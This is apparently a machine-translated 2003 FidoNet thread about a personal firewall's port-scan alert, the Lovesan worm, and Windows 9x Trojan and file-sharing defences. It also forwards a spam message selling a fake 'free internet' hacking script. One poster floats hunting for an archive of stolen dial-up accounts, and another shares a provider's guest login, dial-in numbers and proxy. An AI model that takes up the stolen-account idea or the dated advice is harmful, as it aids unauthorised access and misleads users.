RST attack
ZXNet echo conference «zxnet.pc»
Greetings, All!
For once I got myself a free e-mail box with free
access to it, it was useful today to send/receive several
letters and decided to look into the firewall log. I looked in the section
"Attack Detector" and gasped - some runt had already scanned my
ports and was blocked by the firewall with the message Rst Attack and
listing scanned ports (3576, 3567, 3474, 3583,
3584). I wonder what kind of ports these are and what can be achieved
by this very scan.
I installed the firewall well after reading/hearing a lot about the new one
worm...
By the way, what kind of worm is lovesan? Again some nonsense
leading to nothing bad except loading the servers?
[REAL ZX]
Press RESET immediately, Nikolaj Amosov!
On Sun, 17 Aug 03 19:29:29 +0400, Nikolaj Amosov wrote:
NA> For once I got myself a free e-mail box with free stuff
NA> access to it, it was useful today to send/receive several
NA> letters and decided to look into the firewall log. I looked in the section
“Firewall” is the correct name for a firewall in Russian,
serves to shield part of the local network from the outside world.
In the absence of a network, what kind of shielding can we talk about? What exactly
screen if you don’t have any services?
NA> "Attack detector" and gasped - some runt has already scanned mine
The same as you, but at once a runt...
NA> ports and was blocked by the firewall with the message Attack Rst and
NA> listing scanned ports (3576, 3567, 3474, 3583,
NA> 3584).
help netstat
NA> I wonder what kind of ports these are and what can be achieved
NA> by this very scanning.
The book is freely available on the Internet
"Attack on the Internet" Medvedovsky, Semyanov, Leonov, DMK publishing house 1999,
"TCP/IP Illustrated" by W. R. Stevens and its Russian translation
"TCP/IP close-up." This is also available in paper version. NA> By the way, what kind of worm is lovesan? Again some stupidity not
NA> leading to nothing bad except loading the servers?
Forces you to pay money for antiviruses, like any other...
Press RESET immediately, Kirill Frolov!
On Sun, 17 Aug 2003 20:47:07 +0000 (UTC), Kirill Frolov wrote:
NA>> I wonder what kind of ports these are and what can be achieved
NA>> by this very scanning.
KF> The book is freely available on the Internet
KF> "Attack on the Internet" Medvedovsky, Semyanov, Leonov, DMK publishing house 1999,
KF> "TCP/IP Illustrated" W. R. Stevens and its Russian translation
KF> "TCP/IP close-up." This is also available in paper version.
In fact, there are two versions of the “attack on the Internet”:
1) the mentioned “Attack on the Internet” (C) DMK 1999
2) “Attack via the Internet” (C) “Peace and Family” 1997
The authors in both cases are the same.
Hello Kirill!
18 Aug 03 00:47, Kirill Frolov -> Nikolaj Amosov:
[skipped]
NA>> For once I got myself a free e-mail box with free stuff
NA>> access to it, it was useful today to send/receive several
NA>> letters and decided to look into the firewall log. I looked in the section
KF> "Firewall" - this is the correct name for a firewall in Russian
KF> is used to shield part of the local network from the outside world.
KF> In the absence of a network, what shielding can we talk about?
I already told you - two computers connected by a mesh is a network.
One computer connected to the network is also a “local network”.
KF> What exactly should you screen if you don’t have any services?
Windows has quite a few undocumented “services” that you can’t turn off normally.
Alexand
Hello Kirill!
Monday August 18, 2003 00:47:07 Kirill Frolov -> Nikolaj Amosov:
NA>> For once I got myself a free e-mail box with
NA>> without implant
NA>> access to it, it was useful today to send/receive several
NA>> letters and decided to look into the firewall log. I looked in the section
KF> "Firewall" - this is the correct name for a firewall
KF> in Russian,
KF> is used to shield part of the local network from the outside
KF> world.
KF> In the absence of a network, what shielding can we talk about?
this is a personal screen - it shields me from harmful influences
from the Internet; catches all sorts of programs that
they will rush to the beater (two L are only given to officers)
Gates and report what and how. So I caught it and blocked it
home-grown hacker
KF> What exactly
KF> screen if you don’t have any services?
protect my files from being replaced by Trojans.
NA>> "Attack detector" and gasped - some runt has already scanned
NA>> mine
KF> Same as you, but a runt...Not at all like me - I wouldn’t even think of someone
scan and do any harm. I am for world peace ;)
NA>> ports and was blocked by a firewall with the message Attack Rst
NA>> and
NA>> listing scanned ports (3576, 3567, 3474,
NA>> 3583,
NA>> 3584).
KF> help netstat
where is this? Windows didn't understand...
NA>> I wonder what kind of ports these are and what can be achieved
NA>> by this very scanning.
KF> The book is freely available on the Internet
KF> "Attack on the Internet" Medvedovsky, Semyanov, Leonov, publishing house
KF> DMK 1999,
KF> "TCP/IP Illustrated" W. R. Stevens and its Russian translation
I’m saying for the umpteenth time that I don’t have access to the Internet and
will be with my phone line.
KF> "TCP/IP close-up." This is also available in paper version.
But you can probably read this in the House of Books...
NA>> By the way, what kind of worm is lovesan? Some stupidity again
NA>> not
NA>> leading to nothing bad except loading the servers? KF> Forces you to pay money for antiviruses, like anyone
KF> other...
Nobody pays for antivirus software with every new worm - updates
are also free. In addition, they immediately released all sorts of free
patches and scraps eliminating the consequences of the worm. I really don't
I understand who these utilities are intended for, if it is enough to remove the worm
from startup?! Probably to a nursery...
[REAL ZX]
Press RESET immediately, Aleksandr Majorov!
On Mon, 18 Aug 03 18:58:28 +0400, Aleksandr Majorov wrote:
KF>> "Firewall" - this is the correct name for a firewall in Russian
KF>> is used to shield part of the local network from the outside world.
KF>> In the absence of a network, what kind of shielding can we talk about?
AM> I already told you - two computers connected by a mesh constitute a network.
I meant local network.
KF>> What to actually screen if you don’t have any services?
AM> Windows has quite a few undocumented “services” that are standard
AM> put it out.
Oh well? Which?
Press RESET immediately, Nikolaj Amosov!
On Mon, 18 Aug 03 20:48:13 +0400, Nikolaj Amosov wrote:
KF>> "Firewall" - this is the correct name for a firewall
KF>> in Russian, used to shield part of the local network
KF>> from the outside world.
KF>> In the absence of a network, what kind of shielding can we talk about?
NA> this is a personal screen - it shields me from harmful influences
NA> from the Internet side;
The evil eye, black-white and colored magic...
NA> catches all sorts of programs that do so
NA> they are ready to rush to the beater (two L are only given to officers)
Well, unless it's...
NA> to Gates and report what and how. So I caught it and blocked it
NA> home-grown hacker
This hacker is most likely a stupid machine gun (virus). They are mainly
are interested in servers with known holes. There are many of them...
KF>> What to actually screen if you don’t have any services?
NA> shield my files from being replaced by Trojans.
So disable password “access to nashar disks”. Everyone has long known that
The password is selected in 20 seconds.
KF>> help netstat NA> where is this? Winda didn't understand...
Well, look in Windows Help. NT and W2k have it. I don't remember in W98.
KF>> The book is freely available on the Internet
KF>> "Attack on the Internet" Medvedovsky, Semyanov, Leonov, DMK publishing house 1999,
KF>> "TCP/IP Illustrated" W. R. Stevens and its Russian translation
NA> I’m saying for the umpteenth time that I don’t have access to the Internet and I don’t
NA> will be with my telephone line.
If there wasn't access, hackers wouldn't break it.
On Dark Dragon BBS (2:5030/827, Gruzdev) the following is (will be) uploaded:
stevenst.rar 3.4MB "TCP/IP in pictures" Russian and English versions.
attack-i.rar 1.4MB "Attack on the Internet" both versions from different years.
NA>>> By the way, what kind of worm is lovesan? Some stupidity again
KF>> Forces you to pay money for antiviruses, like anyone
KF>> other...
NA> No one pays for antivirus software with every new worm - updates
NA> are free. In addition, they immediately released all sorts of free ones
What???? IMHO that’s how you have to pay for updates. Virus purchased 5 years ago
is no longer supported by new updates. NA> patches and scraps that eliminate the consequences of the worm. True, I don't
I suggest regularly reading the checksum of all files. Changed
pull out from backup... Use "Administrator" only for installation
programs, and reformat all FAT drives to NTFS. Well, no need to take it
executable files from unreliable sources.
*** Reply to message from CARBON.COPIES (<>).
Hello Kirill!
19 Aug 03 00:19, Kirill Frolov -> Aleksandr Majorov:
[skipped]
KF>>> of the outside world. In the absence of a network, what kind of shielding can
KF>>> are we talking?
AM>> I already told you - two computers connected by a mesh constitute a network.
KF> I meant local network.
Two computers connected to a network are a local network.
KF>>> What to actually screen if you don’t have any services?
AM>> Windows has quite a few undocumented “services” that are standard
AM>> you'll put out the figs.
KF> Really? Which ones?
Here is a virus that should have carried out a DoS attack on a small software site, if
the lights weren't turned off :)
A hole with which you could send “wrong” data to the wrong port
hang up Windows (when this hole was found, people had a lot of fun with the site
MS)
A recent hole in the MSSQL server.
Plus, it’s possible to pick up a troika that will start pouring data out.
Well, and other joys of life.
And here’s another thing: you said “since there is no local network.”
But what if there is a local network, then the presence of a firewall is justified?
What is the difference between a network of Y computers and a network of one machine?
Alexand
·∙.■■■ Hi, Nikolaj! ■■■.∙·
Date:18 Aug 03 Time:21:48,
Nikolaj Amosov encrypted a letter to agent Kirill Frolov.
Subject: Re: RST attack
[crbg!!! ]
KF>> What exactly
KF>> screen if you don’t have any services?
NA> protect my files from being replaced by Trojans.
If you already have the BackOrifice or NetBus Trojan (this one hangs on port 12345
or 12346). It's simple. If not, then you can protect yourself like this:
How to do this? Windows 95/98 and NT provide remote access in different ways. B
In the first case, as a rule, share-access control is used (access to
based only on the password), in the second - user-access control (based on the pair
username-password). I don’t want to dwell on the security features of NT, because
that this is a very big topic, and it has no place on this site. You can do it yourself
find a lot of useful information on this topic on security websites
NT or just read some FAQ. For Windows 95/98 users
The simplest solution is to disable File and Print Sharing if you don’t already have it
needed You can also remove the File and Print Sharing bindings to the TCP/IP protocol
(Control Panel=>Networl=>TCP/IP=>Properties=>Bindings), which is effective
will block access to shared resources from the Internet. If access is needed, but thenSet passwords for shared folders and drives, preferably complex passwords. Have
also in view of the fact that it is possible to “climb up the tree”, that is
if on drive C: there is a folder SomeStuff with open access, then to the root C: too
can get there. Well, in general, Windows 95/98 is a weakly protected OS, and no
Unfortunately, it cannot give guarantees of safety.
and also:
A Trojan can get onto your computer in two main ways: either you
“put it” on disk, or you download it yourself. Hey, a very non-trivial thought
:-) Meanwhile, many people receive similar programs on their disks each
day. With the second method, everything is more or less clear: you should not download programs from
unknown sites, succumbing to the promises of the authors to give you a "SUPER COOL
MochIlkU vs /ammer0v" or a cool viewer for free porn. No need
also open attachments that came with mail from strangers. From the first
In the same way, everything is a little more complicated. First of all, in your absence any
a kind soul can simply copy this Trojan onto a computer from a floppy disk (not
leave computers unattended!). Secondly, the Trojan can be installed from the network
directly to the disk while you, unsuspectingly, have a nice conversation on IRC or go for a walk
via Netscape website. I explained above how to deal with this. Yes, and one more important one
moment. Someone recently surprised me by saying that putting a file from the network onA local disk is possible, but how to run it locally? Yes, very simple, from the line
Run in win.ini, because it’s also easy to edit this file remotely. So timeo
Danaos et dona ferentes! The whole herd of Trojans is described in detail on the website
Trojan Games. Some particularly common Trojans can be detected
antivirus programs, for example AntiViral Toolkit Pro. Keep in mind that everyone
No program can detect Trojans, and you can calmly laugh at
the face of the software manufacturer who is trying to convince you otherwise.
NA>>> "Attack detector" and gasped - some idiot has already scanned it
NA>>> mine
KF>> Same as you, but also a runt...
NA> Not at all like me - I wouldn’t even think of someone
NA> scan and do harm in every possible way. I am for world peace ;)
Scanning does not mean harming. Scanning is the collection of information.
At one time, in certain echoes, a real war broke out over this -
Is port scanning legal? After all, in essence, you are not stealing anything, you are just
You check the availability of certain services.
You can scan to your advantage. For example, check the server of the company in which
work, find a vulnerability and tell the admin about it. Get a bonus forvigilance and a medal from the Security Service. ;))) (joke, if anyone didn’t understand).
[crbg!!! ]
·∙.■■■ Happy Nikolaj! ■■■.∙·
Hello Kirill!
Tuesday 19 August 2003 01:45:05 Kirill Frolov -> Nikolaj Amosov:
KF>>> What to actually screen if you have none
KF>>> no services?
NA>> shield my files from being replaced by Trojans.
KF> So disable password “access to nasharu disks”. Everyone
KF> it has long been known that
KF> the password is selected in 20 seconds.
I don’t have any access to the disks, and besides, there is a password.
KF>>> help netstat
NA>> where is this? Winda didn't understand...
KF> Well, look in the "Windows Help". NT and W2k have it. In W98
KF> I don’t remember.
Now I have 98 again and I looked in it - there is nothing like that.
KF>>> The book is freely available on the Internet
KF>>> "Attack on the Internet" Medvedovsky, Semyanov, Leonov,
KF>>> DMK publishing house 1999,
KF>>> "TCP/IP Illustrated" W. R. Stevens and its Russian translation
NA>> for the umpteenth time I’m saying that I don’t have access to the Internet
NA>> not
NA>> will be with my telephone line. KF> If there wasn't access, hackers wouldn't break it.
I have access via uniq only to certain
advertising and information sites. One of them was given a box.
I managed to grab it before the place ran out. Now they no longer give boxes.
KF> On Dark Dragon BBS (2:5030/827, Gruzdev) uploaded (will be):
KF> stevenst.rar 3.4Mb "TCP/IP in pictures" Russian and
KF> English version.
KF> attack-i.rar 1.4Mb "Attack on the Internet" both versions
KF> different years.
Are you doing this for me or something? Thank you of course, but you can also
brand new box: amonik#spb300.com. Otherwise, it’s difficult for me to care about the Dragon
get through.
NA>>>> By the way, what kind of worm is lovesan? Again some
NA>>>> stupidity
KF>>> Forces you to pay money for antiviruses, like anyone
KF>>> other...
NA>> No one pays for antivirus software with every new worm -
NA>> updates
NA>> are free. In addition, they immediately released all sorts of
NA>> free
KF> What???? IMHO that’s how you have to pay for updates. Virus
Something I didn’t notice was that someone paid for updates inavp.support - updates pour in every week. Not on
me - our fae disappeared about two months ago and hasn’t been there since
didn't appear again. In addition, on their proprietary ftp site
New updates are constantly lying around - for free.
KF> purchased 5 years ago
KF> is no longer supported by new updates.
Nothing like that. Updates do not depend on the version. Just different
versions have different capabilities (the third does not support treatment in
archives) and different speeds/algorithms of work.
NA>> patches and scraps that eliminate the consequences of the worm. True I
NA>> not
KF> I suggest regularly calculating the checksum of everyone
KF> files. Changed
KF> pull out from backup...
We need to find adinf. I remember we had one like this at school -
I often caught all sorts of viruses by changing files. But probably
While Windows is running, a lot of files change, but before they were sitting there
in DOS and I knew which files I used and which ones could benefit from this
change...
KF> "Administrator" use
KF> installation only
KF> programs,
Well, that's what I did in 2000
KF> and reformat all FAT drives to NTFS. Well, no
KF> must be taken KF> executable files from untrusted sources.
I have all my software scanned by an antivirus, and everything new is at the end of my list.
Finally, I also check - so far everything is quiet...
[REAL ZX]
Press RESET immediately, Aleksandr Majorov!
On Tue, 19 Aug 03 17:40:53 +0400, Aleksandr Majorov wrote:
KF>>>> In the absence of a network, what kind of shielding can we talk about?
AM>>> I already told you - two computers connected by a mesh constitute a network.
KF>> I meant local network.
AM> Two computers connected to the network are a local network.
They both stick out on the Internet. There would be a third... But there’s nothing to screen.
AM>>> Windows has quite a few undocumented “services” that are standard
AM>>> you'll put it out.
KF>> Really? Which ones?
AM> Here is a virus
We need to eliminate the cause.
AM> which should have launched a DoS attack on the small software site, if
AM> the lights were not turned off :)
Exactly? Somehow everyone forgot about him amid recent events...
AM> A hole that can be used to send “wrong” data to the wrong port
AM> it was possible to hang up Windows (when people found this hole well
"Ping of Death" is in W'95.
AM> Hole in MSSQL server, recent.
Why does the average user need it? And it (the server) doesn’t look at the Internet
probably. AM> Plus it is possible to pick up a troika, which will start pouring data out.
First you need to catch it. And the screen won’t help here at all.
AM> And here’s another thing: you said “since there is no local network.”
AM> What if there is a local network, then the presence of a firewall is justified?
Yes. Exchange is possible inside the network, but outside or outside it is not allowed.
AM> What is the difference between a network of Y computers and a network of one machine?
Number of cars...
Press RESET immediately, Nikolaj Amosov!
On Tue, 19 Aug 03 20:48:32 +0400, Nikolaj Amosov wrote:
KF>> the password is selected in 20 seconds.
NA> I don’t have any access to the disks, and besides, password access.
Enabled by default...
KF>> Well, look in the "Windows Help". NT and W2k have it. In W98
KF>> I don’t remember.
NA> Now I have 98 again and I looked in it - there is nothing like that.
My own pinocchio...
NA>>> will not work with my phone line.
KF>> If there was no access, hackers wouldn’t break it.
NA> I have access via uniq only to certain ones
NA> advertising and information sites.
What kind of hackers are they then? You're already a provider enough
"firewalled." Unless from that local area where other users via 'uniq'
connecting...
By the way, about hackers:
Date: Tue, 22 Jul 2003 01:14:52 +0400
From: 54@spb300.com
Reply-To: script@spb300.com
Subject: Re: answer
Hello!!!
It’s bad to pay hard-earned money for the Internet to a villain-provider, right? That's right
bloodsuckers, taking advantage of their position and stealing money so that the dust becomes a pillar...
Is there a way not to pay for the Internet? We are proud to announce that thisthere is a way! A special program script was developed for the famous hacker
the group "MiCrOShItLaBs" - you know, guys like Dark Stemer, VoRoN,
AmalgamA, CubiK and other worthy personalities.
The diagram below allows you to get a completely free Internet.
The principle of its operation is quite simple. She uses the Jrut method
Force attacks during simultaneous key comparison.
And now in Russian, Let’s assume that N provider provides guest access for
card registration for example ROL login rol password rol. He is also a guest in Africa
You can’t get out of the guest room anywhere except the registration site. :-((What’s the difference?
paid guest login? Simply nothing, but only the guest has all IPs from 0.0.
0.0 to 255.255.255.255 are turned off and only one remains turned on and refers
to the registration server.
To get a full-fledged Net, we need to open the IP through an open port using the method
Jrut Force attacks, but not everything is as simple as it seems.
When you connect, a certain key is sent to you and gives your machine an IP and
corresponding instructions, which means you need to intercept it, compare it and make
normal, and then you need to make your machine think that it’s remote
the machine sent you this key.
So the guest Internet turns into a completely free Internet.
There were earlier attempts to make such a topic, but practically all of them were
unsuccessful and only a professional hacker could do it wellsweat with scanning ports and other crap, it was easier to hijack net y
lamer.
And only We have developed this technology that makes hacking so simple
something even a child can do.
All you need to do is paste the file with the script into your dialer
(Property>Script) connect to the provider using guest access and wait
until the script finishes working (well, of course the connection goes through
from 2 to 6 minutes but this is the only drawback) and then freedom:
even if you sit for days, download mp3, video, programs, etc. and no one is there
won't say a word about it.
After the publication of this technology, they simply declared WAR on us, providers began
they closed our websites, began to block our soap, etc. They just understood
what they are dealing with and what will happen if the gin comes out. That's why we distribute
through mass mailing (SPAM), but we were left with no choice.
Unfortunately, this script is paid
Price:
The cost is 500 rubles or 15 US dollars.
For our security, we only accept WEBMONEY http://www.webmoney.ru
A small moral digression!
We believe that the Internet should be accessible, and not a means of profit. you
Have you ever asked the question where does the money go? Only ROL collects 80 million bucks
per month, this is enough to launch 2 modern communication satellites or buy from
IBM is the most powerful super computer with 8000 pebbles Stump 4 and 2 terabytesbrains So where do the money go? Well, first of all, small providers pay 70%
large (well, this is all clear) and where do the large pay (Golden Telecom aka ROL,
Ross Telecom and a couple more things)? Russia alone collected 3,500,000,000 in 2002
US dollars and it’s hard to believe that this money went to the construction of new
communication channels, employee salaries (support ROL alone receives $500 per
month, in all of Russia 9,000 people work as providers) and a maximum of
articles should have spent 1,000,000,000 bucks, and where did the rest go?
grandmas? The answer suggests itself, they go to the accounts of several people like
to the leaders of the drug MAFIA. Yes, this is MAFIA but only legal!!!!!! Now compare
how much do they pay for net in the West and in Russia
V.90 56kb unlimited in Europe 10-20$ in the USA 5-15$ in Russia 60-100$ per month
ICDN 256kb unlimited in Europe $30-50 in the USA $15-40 in Russia $250-400 in
month.
And one last thing. If you have any suspicions that this is crap, a virus, a Trojan, etc.
rubbish, we can assure you: we do NOT do this!!
p.s. We do not enter into lengthy negotiations and do not make requests like “Prove it to me,”
“Tell me how it works” and “Sell it for cheaper” we do not answer.
p.p.s. If this letter took your time or you just need our suggestions
seems not interesting, then we offer a thousand apologies!!! If you decide to punish
us for SPAM, then you won’t get anything and you’ll only waste time.MiCrOShItLaBs
And if you decide to purchase a script, write to: script1@spb300.com
Write only there!!! Since this box will most likely be closed according to the specified
above reasons!!
The mailbox address is suspiciously similar to yours... Regarding the "Eat-force" attack
IMHO it's complete nonsense, but as I understand it they sell scripts with stolen
accounts from wcom, uunet, etc. "Internet-over-X.25" providers.
That is, you sit here through sprint, or the same ROL, and steal there...
KF>> On Dark Dragon BBS (2:5030/827, Gruzdev) uploaded (to be):
KF>> stevenst.rar 3.4Mb "TCP/IP in pictures" Russian and
KF>> English version.
KF>> attack-i.rar 1.4Mb "Attack on the Internet" both versions
KF>> different years.
NA> are you doing this for me or something? Thank you, of course, but you can also use
NA> brand new box: amonik#spb300.com. Otherwise, it’s difficult for me to care about the Dragon
NA> call.
But I don’t want to upload megabytes to the mailbox. I have paid internet.
KF>> I suggest regularly calculating the checksum of everyone
KF>> files. Changed ones should be pulled out from the backup...
NA> We need to get adinf. I remember we had one like this at school - NA> I often caught all sorts of viruses by changing files. But probably
NA> while Windows is running, a lot of files change, but before they were sitting
NA> in DOS and I knew which files I used and which could benefit from it
NA> change...
adinf is deprecated. And you need to calculate crc for .dll and .exe. Well at the same time
track the appearance of new .dll and .exe. The rest of the files contain viruses
are less common.
KF>> and reformat all FAT drives to NTFS. Well, no
KF>> you need to take executable files from unreliable sources.
NA> All my software has been checked by an antivirus, and everything new is at the end
NA> I’m also checking the ends - so far everything is quiet...
The antivirus catches only those viruses about which everything has been known for a long time...
A Trojan horse is not a virus (a virus is a self-replicating program),
may be unknown to antiviruses.
Press RESET immediately, Aleksandr Kolotukhin!
On Tue, 19 Aug 03 20:19:38 +0400, Aleksandr Kolotukhin wrote:
AK> will block access to shared resources from the Internet. If access is needed,
AK> but then set passwords for shared folders and drives, preferably complex ones
AK> passwords.
That's what I mean - any complex password takes a few seconds.
And at a minimum you can guess only one first letter, that will be enough.
Hello, Alexander!
Tuesday 19 August 2003 21:19:38 Aleksandr Kolotukhin -> Nikolaj Amosov:
KF>>> Same as you, but also a runt...
NA>> Not at all like me - I wouldn’t even think of someone
NA>> scan and do harm in every possible way. I am for world peace ;)
AK> Scanning does not mean harming. Scanning is collection
AK> information.
I checked the IP address that the firewall gave me (from this
addresses were scanned), it turned out that this was the postal service
this is what I was sitting on at that moment. Or someone
I tried to hide my real address...
[REAL ZX]
Hello Kirill!
Wednesday 20 August 2003 03:37:48 Kirill Frolov -> Nikolaj Amosov:
KF>>> the password is selected in 20 seconds.
NA>> I don’t have any access to the disks, besides
NA>> password.
KF> Enabled by default...
Yeah - now I’ll turn everything off and decouple the protocols from the files and
printers.
NA>> I have access via uniq only to certain ones
NA>> advertising and information sites.
KF> What kind of hackers are they then? The provider is already sufficient for you
KF> degrees
KF> "firewalled". Unless from that local area where other users
KF> via 'uniq'
KF> connecting...
That's it.
KF> By the way, about hackers:
KF> ---------- Forwarded message ----------
KF> Date: Tue, 22 Jul 2003 01:14:52 +0400
KF> From: 54@spb300.com
KF> Reply-To: script@spb300.com
KF> Subject: Re : answer
KF> ----------------------
KF> The mailbox address is suspiciously similar to yours... About
Well, what can you do - there are a lot of people, not enough boxes. KF> "Eat-force" attacks
KF> IMHO it's complete nonsense, but as I understand it they sell scripts with
KF> stolen
KF> accounts from wcom, uunet, etc. "internet-via-X.25"
KF> providers.
KF> That is, you are sitting here through sprint, or the same ROL, and
KF> you steal there...
It works out very cleverly. There was a rumor that there was a certain
archive with accounts for the sieve - can I search and submit it too?
KF>>> Dark Dragon BBS (2:5030/827, Gruzdev) uploaded
KF>>> (will):
[disk error]
NA>> are you doing this for me or something? Thank you, of course, but you can also
NA>> brand new box: amonik#spb300.com. Otherwise I don’t care about the Dragon
NA>> difficult
NA>> call.
KF> But I don’t want to upload megabytes to the mailbox. I have
That's why I see you ask everyone for their mailbox address, if anything happens
you want to throw it ;)
KF> Internet is paid.
Get yourself a box with free access, for example here:
438-10-05
438-11-16
log/pas:uniq/uniq
Proxy: 217.170.94.74 port 8000
It doesn't work without a proxy. Go to www.welcomespb.ru
There are links to a bunch of sites. You can get a soap dish here:http://pisma.net
Only for several days they have a message that they are holding
work and soap may be buggy. We have to wait a little.
Yes, by the way, for some reason registration only works through IE, with
Opera glitches.
And yet - mail through free access only through
web interface, i.e. all sorts of “this is a bat” and outglitch work
it is impossible.
KF>>> and reformat all FAT drives to NTFS. Well, no
KF>>> you need to take executable files from unreliable sources.
NA>> All my software has been scanned by an antivirus, and I’m in everything new
NA>> end
NA>> I’m also checking the ends - so far everything is quiet...
KF> The antivirus catches only those viruses that have been reported for a long time
KF> everything is known...
KF> And the Trojan program is not a virus (virus -
KF> self-replicating program),
KF> may be unknown to antiviruses.
What about the analyzer? After all, heuristic analysis of the file is possible.
Although if the file is clogged, it probably won’t help...
[REAL ZX]
Press RESET immediately, Nikolaj Amosov!
On Wed, 20 Aug 03 20:52:42 +0400, Nikolaj Amosov wrote:
NA> I checked the IP address that the firewall gave me (from this
NA> addresses were scanned), it turned out that this was the postal service
NA> is doing this, where I was sitting at that moment. Or someone
NA> tried to hide my real address...
This is a network failure, the packet may have disappeared. And you're talking about hackers...
Press RESET immediately, Nikolaj Amosov!
On Wed, 20 Aug 03 21:00:42 +0400, Nikolaj Amosov wrote:
KF>> That is, you are sitting here through sprint, or the same ROL, and
KF>> you steal there...
NA> It turns out very cleverly. There was a rumor that there was a certain
NA> archive with accounts for the sieve - can you search and submit it too?
The existence of such an archive is very limited. And when hit
With playful hands, accounts are rapidly being invalidated...
KF>> But I don’t want to upload megabytes to the mailbox. I have
NA> I see you ask everyone for the mailbox address, if anything
NA> you want to throw it ;)
So not 5MB, but 500kb - the difference is 10 times. And it’s clearly not worth messing with Fido
without extreme need.
NA> And also - mail through free access only through
NA> web interface, i.e. all sorts of “this is a bat” and outglitch work
NA> is not allowed.
What's the interest then? :-/
How can you download a file (at once) through the web interface, I wonder?
Through the clipboard into the form?
KF>> The antivirus catches only those viruses that have been reported for a long time
KF>> everything is known... KF>> A Trojan program is not a virus (virus -
KF>> self-replicating program),
KF>> may be unknown to antiviruses.
NA> What about the analyzer?
NA> After all, heuristic analysis of the file is possible.
From the fact that it is possible, it does not in any way follow that it gives any
effective result.
NA> Although if the file is clogged, it probably won’t help...
Doctor Web has a "pussy emulator" inside, in which he runs
programs. But every emulator is different from the original, and if desired
is simply deceived.
Hello Kirill!
Thursday 21 August 2003 07:13:21 Kirill Frolov -> Nikolaj Amosov:
NA>> I checked the IP address that the firewall gave me (with
NA>> this
NA>> addresses were scanned), it turned out that this was a postal mail
NA>> service
NA>> is doing this, where I was sitting at that moment. Or
NA>> someone
NA>> tried to hide my real address...
KF> This is a network failure, the packet may have disappeared. And you immediately about
KF> hackers...
Why is he looking for the packet on different ports? Sometimes the ports go
in a row, and sometimes after several...
[REAL ZX]
Hello Kirill!
Thursday 21 August 2003 07:26:40 Kirill Frolov -> Nikolaj Amosov:
KF>>> But I don’t want to upload megabytes to the mailbox. I have
NA>> I see you ask everyone for the mailbox address if
NA>> what
NA>> you want to throw it ;)
KF> So it’s not 5MB, but 500kb - the difference is 10 times. And by Fido
KF> obviously not worth fussing about
KF> unless absolutely necessary.
I have already downloaded one book (large).
NA>> And also - mail through free access only through
NA>> web interface, i.e. all sorts of “this is a bat” and outglitch
NA>> work
NA>> is not allowed.
KF> What is the interest then? :-/
KF> How can you download a file (at once) through the web interface
KF> interesting?
KF> Through the clipboard to the form?
There are four lines at the bottom of the screen for attached files - these are
to send a file, but to receive it you don’t need to do anything -
everything is done by the mail server. If you receive a letter with an attachment from your
There will be an icon at the bottom of the letter with the file name and its length.
You just click the mouse and the browser downloads the file. It is possible and side-
You can also download them using downloaders. KF>>> The antivirus catches only those viruses that have been reported for a long time
KF>>> everything is known...
KF>>> A Trojan program is not a virus (virus -
KF>>> self-replicating program),
KF>>> may be unknown to antiviruses.
NA>> What about the analyzer?
NA>> After all, heuristic analysis of the file is possible.
KF> From the fact that it is possible, it does not follow that it gives
KF> some
KF> effective result.
Kaspersky would be very upset if he read this.
[REAL ZX]
Hello Kirill!
21 Aug 03 07:26, Kirill Frolov -> Nikolaj Amosov:
[skipped]
NA>> And also - mail through free access only through
NA>> web interface, i.e. all sorts of “this is a bat” and outglitch work
NA>> is not allowed.
KF> What is the interest then? :-/
But it's free! :)
KF> How can you download a file (at once) through the web interface, I wonder?
KF> Through the clipboard to the form?
No.
Uninstall (unMIME, etc.), or rather receive the sent file with the virus -
you just click on the link to the file and it is downloaded (by the browser itself or
file-rocker).
Insert a file into your letter - click the “attach file” button and browser
sends your file to the server.
This is how it sends - I won’t say for sure, either using scripts or something else
what bells and whistles.
But in any case, files fly between you and the web interface in binary form.
NA>> What about the analyzer?
NA>> After all, heuristic analysis of the file is possible.
KF> From the fact that it is possible, it does not follow that it gives any
KF> effective result.
They say it does, and that some tests confirm this.
Although yes - how to determine that this code is malicious?
Alexand
Press RESET immediately, Aleksandr Majorov!
On Thu, 21 Aug 03 20:57:05 +0400, Aleksandr Majorov wrote:
AM> They say it does, and that some tests confirm this.
AM> Although yes - how to determine that this code is malicious?
There is no formal definition yet, all talk is about heuristics
are meaningless.
Press RESET immediately, Nikolaj Amosov!
On Thu, 21 Aug 03 20:41:06 +0400, Nikolaj Amosov wrote:
NA> Why is he looking for the packet on different ports? Sometimes the ports go
NA> in a row, and sometimes after several...
Your IE also uses uses...
Press RESET immediately, Nikolaj Amosov!
On Thu, 21 Aug 03 20:42:37 +0400, Nikolaj Amosov wrote:
KF>> From the fact that it is possible, it does not follow that it gives
KF>> some effective result.
NA> Kaspersky would be very upset if he read this.
It's all $ and nothing more. Advertising.
Hello Kirill!
Friday 22 August 2003 03:52:17 Kirill Frolov -> Nikolaj Amosov:
NA>> Why is he looking for the packet on different ports? Sometimes ports
NA>> go
NA>> in a row, and sometimes after several...
KF> Your IE also uses uses...
Firstly, I have Opera, and secondly, the firewall only shows
one open port while Opera is running. therefore it is not clear.
I need to finish reading the book ;)
[REAL ZX]
Press RESET immediately, Nikolaj Amosov!
On Fri, 22 Aug 03 20:52:21 +0400, Nikolaj Amosov wrote:
NA>>> Why is he looking for the packet on different ports? Sometimes ports
NA>>> go in a row, and sometimes after several...
KF>> Your IE also uses uses...
NA> Firstly, I have Opera,
Yes, even Mozilla.
NA> and secondly, the firewall shows only one open port
NA> while Opera is running. therefore it is not clear.
Established connections and listening ports are viewed by the program
netstat, which you don't have. And the number of open ports depends on
what Opera is doing, in a passive state there can be 0 of them, in an active state
many dozens.
Hello Kirill!
Saturday 23 August 2003 07:32:12 Kirill Frolov -> Nikolaj Amosov:
NA>>>> Why is he looking for the packet on different ports? Sometimes
NA>>>> ports
NA>>>> go in a row, and sometimes after several...
KF>>> Your IE also uses uses...
NA>> Firstly, I have Opera,
KF> Yes, even Mozilla.
NA>> and secondly, the firewall shows only one open port
NA>> while Opera is running. therefore it is not clear.
KF> Established connections and listening ports
KF> look at the program
KF> netstat, which you don't have.
firewall perfectly shows who, where and on what port
useful, as well as all open ports and services that hang on them
KF> And the number of open ports
KF> depends on
KF> besides what Opera is busy with, there may be them in a passive state
KF> 0 pieces, active
KF> many tens.
Yes, I watched it when I wasn’t doing anything at the opera.
[REAL ZX]
Hello Kirill!
23 Aug 03 07:32, Kirill Frolov -> Nikolaj Amosov:
[skipped]
NA>> and secondly, the firewall shows only one open port
NA>> while Opera is running. therefore it is not clear.
KF> Established connections and listening ports are shown
KF> netstat program, which you do not have.
Why did you decide that he doesn’t have the netstat program?
